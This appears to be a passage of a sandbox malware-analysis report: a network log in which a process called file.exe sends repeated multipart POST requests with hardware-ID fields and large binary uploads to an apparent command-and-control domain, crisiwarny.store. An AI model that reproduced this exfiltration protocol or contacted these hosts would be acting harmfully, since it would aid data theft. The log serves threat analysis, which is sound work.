2024-10-28 06:18:28 UTC	1369	IN	Data Raw: 77 77 79 6f 33 6a 49 4d 5a 4b 66 71 44 54 54 6c 71 46 36 30 56 39 58 6c 58 76 79 4a 32 38 32 57 2f 2f 47 4b 62 68 55 4f 49 57 43 36 56 66 61 54 4c 30 73 43 32 5a 6f 53 50 76 54 70 64 72 52 54 78 4b 4d 54 71 70 4c 63 71 2b 6a 37 39 70 64 6d 46 41 35 66 45 4e 74 62 70 73 5a 67 61 54 48 71 71 41 30 2b 70 6f 70 61 70 30 6a 49 35 42 32 6b 79 70 43 7a 38 4a 72 39 6a 58 73 57 42 68 67 53 6e 45 58 68 33 6d 34 4d 4d 71 66 31 51 7a 6a 75 75 31 32 34 51 6f 76 6c 55 2b 54 4b 67 37 32 78 6d 75 72 48 4d 30 68 48 58 30 7a 62 42 36 62 5a 4c 6b 45 39 35 4b 4d 41 4b 2f 61 74 55 36 46 47 67 4e 31 6a 7a 34 65 52 39 71 62 64 77 72 6c 4b 45 52 6b 53 55 5a 77 64 78 70 6b 32 54 77 4c 5a 6d 68 49 2b 39 4f 6c 32 74 46 50 45 6f 78 4f 71 6b 74 79 72 36 50 76 32 6c 32 59 55 44 6c 31 Data Ascii: wwyo3jIMZKfqDTTlqF60V9XlXvyJ282W//GKbhUOIWC6VfaTL0sC2ZoSPvTpdrRTxKMTqpLcq+j79pdmFA5fENtbpsZgaTHqqA0+popap0jI5B2kypCz8Jr9jXsWBhgSnEXh3m4MMqf1Qzjuu124QovlU+TKg72xmurHM0hHX0zbB6bZLkE95KMAK/atU6FGgN1jz4eR9qbdwrlKERkSUZwdxpk2TwLZmhI+9Ol2tFPEoxOqktyr6Pv2l2YUDl1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49707	104.21.95.91	443	4936	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 06:18:28 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12851 Host: crisiwarny.store
2024-10-28 06:18:28 UTC	12851	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 31 34 37 31 44 36 30 41 37 35 43 42 41 34 41 44 33 36 41 33 30 30 35 34 38 38 31 33 33 36 43 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"61471D60A75CBA4AD36A30054881336C--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 06:18:29 UTC	1016	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 06:18:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=46bfljij02mc611io8sdq3tj6j; expires=Fri, 21 Feb 2025 00:05:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e2EO6GY45dm4oSLNq0bpJlaPO2nCUS9hjghH%2Fqto8zXOMmH5y8JN6t4L85FpdBPB3Rz3sw6dfHyi5%2B%2FElzOks1N%2BZxml0%2F%2Fws2fV81fSqFYq8Mv4uchvi2VqaZzkgdIqnVHB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d98cf0b0d6e3aae-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1209&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2839&recv_bytes=13791&delivery_rate=2341147&cwnd=251&unsent_bytes=0&cid=6e49b7263db7978b&ts=913&x=0"
2024-10-28 06:18:29 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 0d 0a Data Ascii: 11ok 155.94.241.188
2024-10-28 06:18:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49708	104.21.95.91	443	4936	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 06:18:30 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15080 Host: crisiwarny.store
2024-10-28 06:18:30 UTC	15080	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 31 34 37 31 44 36 30 41 37 35 43 42 41 34 41 44 33 36 41 33 30 30 35 34 38 38 31 33 33 36 43 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"61471D60A75CBA4AD36A30054881336C--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 06:18:31 UTC	1012	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 06:18:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1aosglkj1ih0fppgv0ktfsus0q; expires=Fri, 21 Feb 2025 00:05:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KbNmXRfTMYFlq6xEduSAfTgZjtsyhfRIgjZYkXbbw6pq82%2FRQ26FIQsRpwqDApQX9RlL2c37UD6NAD0YGRvez8xFMYNspV6h08c%2FDL5%2Fv3IyqFbAlzSzwFnw2yn6T%2BHXeDxk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d98cf150d3946a1-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1078&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2838&recv_bytes=16020&delivery_rate=2635122&cwnd=250&unsent_bytes=0&cid=1f85995e7cd5185f&ts=711&x=0"
2024-10-28 06:18:31 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 0d 0a Data Ascii: 11ok 155.94.241.188
2024-10-28 06:18:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49709	104.21.95.91	443	4936	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 06:18:32 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20247 Host: crisiwarny.store
2024-10-28 06:18:32 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 31 34 37 31 44 36 30 41 37 35 43 42 41 34 41 44 33 36 41 33 30 30 35 34 38 38 31 33 33 36 43 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"61471D60A75CBA4AD36A30054881336C--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 06:18:32 UTC	4916	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 23 d1 61 a9 ef 87 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 3e 37 1c 1d 96 fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 c3 c1 e7 62 c9 e0 95 58 f0 4a f0 ab c1 ff 36 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc e4 dd 93 3c 16 af 54 8b b3 c5 72 6e a6 5a 98 2a 94 a7 ae e5 a6 2a 8d 72 3d 31 9a 3c bc 29 a5 d6 98 ff 70 58 68 ff bb af ff fe e4 44 a2 4b 2d b9 ca 4c ae 76 b9 91 af 16 6a c9 bb 46 a2 8c 4b 7d 38 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 Data Ascii: s#a>7~sbXJ6<TrnZ**r=1<)pXhDK-LvjFK}8
2024-10-28 06:18:32 UTC	1013	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 06:18:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6tm8apdaapmi5cecn1ekvtpr7a; expires=Fri, 21 Feb 2025 00:05:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UouDw%2FC4rPLMsPI85%2FQnfqitk9VCN8Axc2QX35i965C7otF%2FhFtmupMGheUevRhW2ir94vgZ0cbDPrWuzBf6Qax50rsAKCDhGIa%2BOwMfZHzHkqv55IvMEAhrqN3bWqrsToC5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d98cf1f8967e70e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2120&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2839&recv_bytes=21209&delivery_rate=1345099&cwnd=251&unsent_bytes=0&cid=ca1b0bf37e621c96&ts=724&x=0"
2024-10-28 06:18:32 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 0d 0a Data Ascii: 11ok 155.94.241.188
2024-10-28 06:18:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49710	104.21.95.91	443	4936	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 06:18:33 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1237 Host: crisiwarny.store
2024-10-28 06:18:33 UTC	1237	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 31 34 37 31 44 36 30 41 37 35 43 42 41 34 41 44 33 36 41 33 30 30 35 34 38 38 31 33 33 36 43 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"61471D60A75CBA4AD36A30054881336C--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 06:18:34 UTC	1012	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 06:18:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3jqfub49c5m2hjf84o8a35ei4f; expires=Fri, 21 Feb 2025 00:05:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mBh8sBq6MXxlPfhv%2B9YBUbHEgzm%2B0bLZBetWdjcfo2dwqJR3QqZ1Gh0c3OLvyyj1YuwRI62aBt3BUv64c%2FqOg95myfDXufxW9sx1lAu%2BAIpC7%2F3FFuNF9Eomu3U8u6LqKHel"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d98cf2a2a5d2c92-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2298&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2839&recv_bytes=2154&delivery_rate=1283687&cwnd=251&unsent_bytes=0&cid=dffb96fb59df1b47&ts=796&x=0"
2024-10-28 06:18:34 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 0d 0a Data Ascii: 11ok 155.94.241.188
2024-10-28 06:18:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49711	104.21.95.91	443	4936	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 06:18:35 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 569693 Host: crisiwarny.store
2024-10-28 06:18:35 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 31 34 37 31 44 36 30 41 37 35 43 42 41 34 41 44 33 36 41 33 30 30 35 34 38 38 31 33 33 36 43 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"61471D60A75CBA4AD36A30054881336C--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 06:18:35 UTC	15331	OUT	Data Raw: 97 fc c2 a5 d0 13 f7 62 2b 25 27 ac 05 dc aa f9 b3 d0 d1 61 3b 48 2d 54 94 41 d4 37 87 88 f0 c4 b5 74 53 1f ae c8 ae 03 a7 ce 1f 75 aa e7 df 47 cf 51 7e c1 df a8 99 ec 2a 68 ad cc f4 c0 15 8a 81 64 de 52 9f 1a 04 b7 a9 69 3c 2f 79 1c a7 7e 5d 6a fd ec 5e 43 8a 6f 1f 16 1e e1 79 65 d6 97 c6 0d f9 6b 49 02 f7 e0 db 7f 6d 70 8a 07 06 ba b8 dd 57 81 62 af eb b7 9b 65 77 7e fe 79 d4 ff 5b ef 2f 14 88 fd 8a 85 f9 90 7e d1 8d dd 34 dc 35 6b b9 da 4d 06 e5 0b 1f ff ef 32 95 ff f7 b0 1b cc ce 69 20 61 01 70 26 c5 cf fc 86 b9 68 26 8a ae e0 94 12 12 5a 6c ca e9 7e 51 cc 0f f1 08 43 0c 9d 08 38 89 ea a7 99 96 8c 82 fd 29 b9 12 e0 33 a2 c2 2e 0a 00 e1 4d 76 93 b4 10 2d 51 ea 57 cd 05 16 9d 0f f3 72 35 27 06 ca ec 53 1f 17 cc ba b8 02 f9 a6 d6 c3 ed 23 44 ed cd 58 c6 Data Ascii: b+%'a;H-TA7tSuGQ~*hdRi</y~]j^CoyekImpWbew~y[/~45kM2i ap&h&Zl~QC8)3.Mv-QWr5'S#DX
2024-10-28 06:18:35 UTC	15331	OUT	Data Raw: 86 97 db da 24 1e d6 5d ae 81 50 c1 a3 0f 3a 62 d2 e3 5b ea ef 8a 0b f7 3e 1b 2c 2f ce 51 5b ca cd b5 18 ba 2a 70 fc 30 93 b2 1f bc 3e c2 27 97 bd 65 68 02 f3 6f a3 7a 4e d6 f9 c3 aa 58 25 b1 53 f2 a1 7f fc 88 0c 35 4c 44 b3 8d 90 74 c7 3e c4 07 62 5e be b2 87 2e b8 7e 69 ab b3 c2 75 e0 1b f7 ab cf 51 fd d5 dc 40 4e 35 6e 00 4d d4 67 05 6f b4 d5 b2 a7 1e fc a5 2f 98 d8 77 04 60 96 ca fc 9b b5 7d 3b 3b d3 06 d6 26 52 e6 08 47 0f 72 2d 9c 0a 70 96 b2 ff c1 ec 58 0c 18 e4 05 6f f6 10 01 79 e5 de cf 6a c9 fe ff ba 6f 67 79 6c 97 bc 7b 5e a6 26 70 d0 eb f6 ac 46 f3 a7 8d 4d 97 7e dc 5e b9 9f 85 fa cb c5 7d e5 c3 03 2f 81 47 4d b3 3f fb b5 4e 4e c9 07 f5 83 77 9a ac 3e 79 b6 5b dd fa 80 81 9d b5 dc 2c 81 c7 92 26 80 15 5d 68 8e 99 4e 8e 0a 60 f3 c6 ef dd 33 ac Data Ascii: $]P:b[>,/Q[*p0>'ehozNX%S5LDt>b^.~iuQ@N5nMgo/w`};;&RGr-pXoyjogyl{^&pFM~^}/GM?NNw>y[,&]hN`3
2024-10-28 06:18:35 UTC	15331	OUT	Data Raw: 33 2f c5 92 f7 83 b3 3d 69 c6 b5 af 93 af 46 bb be d5 86 45 21 f8 9b e8 ac 89 9c 19 30 e2 01 53 7b 0b db 5c 33 88 a8 e9 ef 29 21 fe 40 4d 93 11 0f d7 90 62 eb 2b d1 6c bd 09 7d a3 c8 48 fd 9e be 70 59 ae 42 c5 fa cc 66 2b 1e 82 32 d5 a6 34 eb b6 11 8f a0 34 9a 4c e6 d5 0b 2a 99 4d 64 fc cc ea 8c 76 f2 50 54 02 03 ce 34 20 6b bc fa dc 9a f7 9d 34 39 20 8a 3d a0 62 7f b4 d6 00 a1 b6 b2 b6 fb c4 cd 75 33 88 38 51 f0 15 a8 69 af 53 eb 0b d4 01 f2 68 4c e9 63 3f fe 92 4b ba 66 79 bc a4 9f f3 95 68 e9 64 48 5b bd 94 d3 ec e4 92 d3 ed 25 83 db fb f4 6b 86 2f b0 18 4e c2 97 db 6f d7 e9 fc 48 5f b2 81 44 38 93 fe bc 70 52 0a 6f 10 2c 29 ad 6b 4b f3 ca 3c 24 93 f6 02 b2 e3 24 b3 da ee 2d 9d b4 a5 c7 0d af fc 2b 40 34 79 5f 97 d9 ea fc 31 6c 62 db 22 69 59 fb bb 8c Data Ascii: 3/=iFE!0S{\3)!@Mb+l}HpYBf+244L*MdvPT4 k49 =bu38QiShLc?KfyhdH[%k/NoH_D8pRo,)kK<$$-+@4y_1lb"iY
2024-10-28 06:18:35 UTC	15331	OUT	Data Raw: 2e 52 7d 41 3b 7b f1 d4 48 86 2e cf 2d 2f 35 d9 48 ee d5 9c 4e d5 a3 c2 ed 08 02 0f 9f 86 e3 49 d7 f4 30 42 62 40 fb 9f ac 15 56 21 ef b1 b6 2f 4e 0e 11 d8 34 49 04 e5 35 d2 23 03 e7 a1 0f 88 1f 0a ac 07 c2 c2 7d c0 cb aa 8b cb 8f 05 b5 c2 b4 39 ee b2 ae 93 cb ca 8a b1 6f e5 f9 09 1c fe 7b 03 06 9e 23 f3 af 1c 1a fd ff de c8 ff e7 65 37 27 f9 f8 0a d8 87 00 96 1b 98 7c 5d a0 81 90 41 90 07 b3 dd 2c 33 10 04 d8 53 22 91 ac 58 07 e6 4d 33 60 1d ea 8c 01 88 55 c1 f5 c8 6e 0c 28 e2 28 cd 21 44 a8 25 74 38 a5 b9 b4 f5 1e b7 7a a7 ce a9 da 62 31 92 6a 1a 64 02 ac 21 47 51 c0 fb 4b a0 cb ef cb 2d b0 03 b0 4e 10 26 39 77 b7 77 4e 38 82 72 ec 38 9c 74 fa 70 2d 1b f4 f2 00 b8 d5 96 35 16 b1 43 6e fa 4b a1 4d 23 b4 9e de 42 5c d3 2f 85 7d 3d 7d 6a 00 9f 18 4c d9 6e Data Ascii: .R}A;{H.-/5HNI0Bb@V!/N4I5#}9o{#e7'\|]A,3S"XM3`Un((!D%t8zb1jd!GQK-N&9wwN8r8tp-5CnKM#B\/}=}jLn
2024-10-28 06:18:35 UTC	15331	OUT	Data Raw: 6a 70 f7 c0 c8 5d c5 bb 83 87 a1 13 cb b6 5f 0e 0a 33 58 67 50 7a cf 73 56 37 8d 01 a1 55 48 0e ea 2c 6a 9d a1 5f bc 60 49 1c 6b ba e7 fc 34 88 30 d7 73 90 30 d7 71 9c e2 40 bc 3c 52 bd da 1b 5a d1 5a 81 a6 88 19 3e 21 a9 39 9f 7f 45 7e 17 91 3f fc f1 3d 41 eb 10 c6 46 c0 42 9c 7c 8f 98 61 c0 bd a1 8f a7 28 c9 53 65 b7 56 96 b8 ff 78 d7 51 45 31 29 e2 20 5e 07 1c 58 9b ff 7a 42 4b 06 26 bb 4d 27 0b 73 be 38 ec 98 28 72 f5 12 06 8a fa 77 db af b1 c6 5c 87 3f 47 ae f2 40 43 63 cd 2f 46 1c fb 74 af 7a 63 33 e5 40 d0 8f b0 ea 89 96 d4 6b 0e 5f 44 99 87 14 1d f8 da 0f 99 9e 28 19 4b f2 d9 6d 70 91 4f 1c b5 7c 02 dd 4d 74 e7 b6 bb 0b ac 41 b9 cd 20 0c 3b b4 c5 da 18 74 eb b1 1a bc 46 04 aa 4f 86 f4 58 71 72 7b 3f cd 3c 9c 5e 6a 33 4d 61 73 4f 2c 09 67 c2 58 f1 Data Ascii: jp]_3XgPzsV7UH,j_`Ik40s0q@<RZZ>!9E~?=AFB\|a(SeVxQE1) ^XzBK&M's8(rw\?G@Cc/Ftzc3@k_D(KmpO\|MtA ;tFOXqr{?<^j3MasO,gX
2024-10-28 06:18:35 UTC	15331	OUT	Data Raw: c4 a3 46 0a 03 52 43 c6 7a 02 7e 8c e9 0e 3b 96 af 9d 54 05 eb 05 9a e9 e7 fd b5 f7 e3 8a aa d6 b6 f6 42 60 63 26 9c 9b 5d 2f 01 ae fb 74 c2 e4 77 d5 c4 3c fd 06 91 c5 91 b0 8d 0c 89 97 75 cf ec 4d 28 b0 f8 2d a3 e1 73 e5 1a b9 13 ab f0 80 d7 a1 27 86 2d 39 e3 bb 90 5b 1c 07 af e0 9a 3e 2f 97 4b f0 d6 5c d0 27 f3 8c fb b2 5f b7 ee 7e bc f5 f7 e0 69 db 9d 07 6f f7 19 67 d6 7f 08 f4 ce 1f 4a c7 a0 eb ac 9c 07 89 49 9d f1 79 87 0d 3f 2e 3a 5c ad 90 e5 0a d6 33 34 de fe cf 11 77 66 9a 35 e8 fa 93 02 6e ca 94 47 4b b9 df 20 3b 5e d8 6c 71 c8 cf 1e 69 02 69 be 60 6c a7 30 b9 1e f5 08 ad f5 61 1a 40 50 1f 98 6d 2f ce 57 0a 4c a9 db a0 b7 31 17 17 22 03 c2 93 3e db 80 e4 23 50 0b 7b f9 87 55 ba 7e 48 2f 2c 7f 1b fc 36 4a 92 6a f4 3d c4 6b 91 6a 79 8e 35 6a 2f 02 Data Ascii: FRCz~;TB`c&]/tw<uM(-s'-9[>/K\'_~iogJIy?.:\34wf5nGK ;^lqii`l0a@Pm/WL1">#P{U~H/,6Jj=kjy5j/
2024-10-28 06:18:35 UTC	15331	OUT	Data Raw: 14 6f 8f dd 67 09 6b 56 cc 5c 95 9f 7b 5a ed 1c dc ea c7 35 f2 ee 20 37 4d e9 ef ed d7 06 86 73 e7 75 7e 8f 6b cb 9e 84 80 21 2b 4d 18 67 6a ee 34 fe ca a9 a8 97 3e 70 ed 28 4b 8c e9 e7 fe 7c 1a e7 09 4e 2c 0c 14 4b ec 88 0d fe e1 63 ee af 35 b4 65 02 c1 b9 57 5f 66 1a 2d 1e c4 df df ef 0e 4b d6 7c ac 32 54 8f ba 2a 06 9e f4 04 69 b5 ac b4 38 e9 de 06 56 bc 5b 4d a7 cc db 75 43 35 96 3e c5 19 20 c1 e2 44 75 e0 4b 95 fb 43 1b 2f c8 77 48 45 f3 5b eb 8c d8 9f 21 8f d7 98 ba 06 0b c1 7a b4 b7 29 43 55 bc 93 70 f9 9b f0 f1 65 71 90 62 1e 58 54 61 7b 88 1b 8e b8 25 06 94 c5 85 ad 5e f3 0c 19 b2 65 99 3c 4b d5 2d 02 90 49 bb 43 53 31 fe 97 5e eb 33 37 20 0b ce 91 de 64 46 85 28 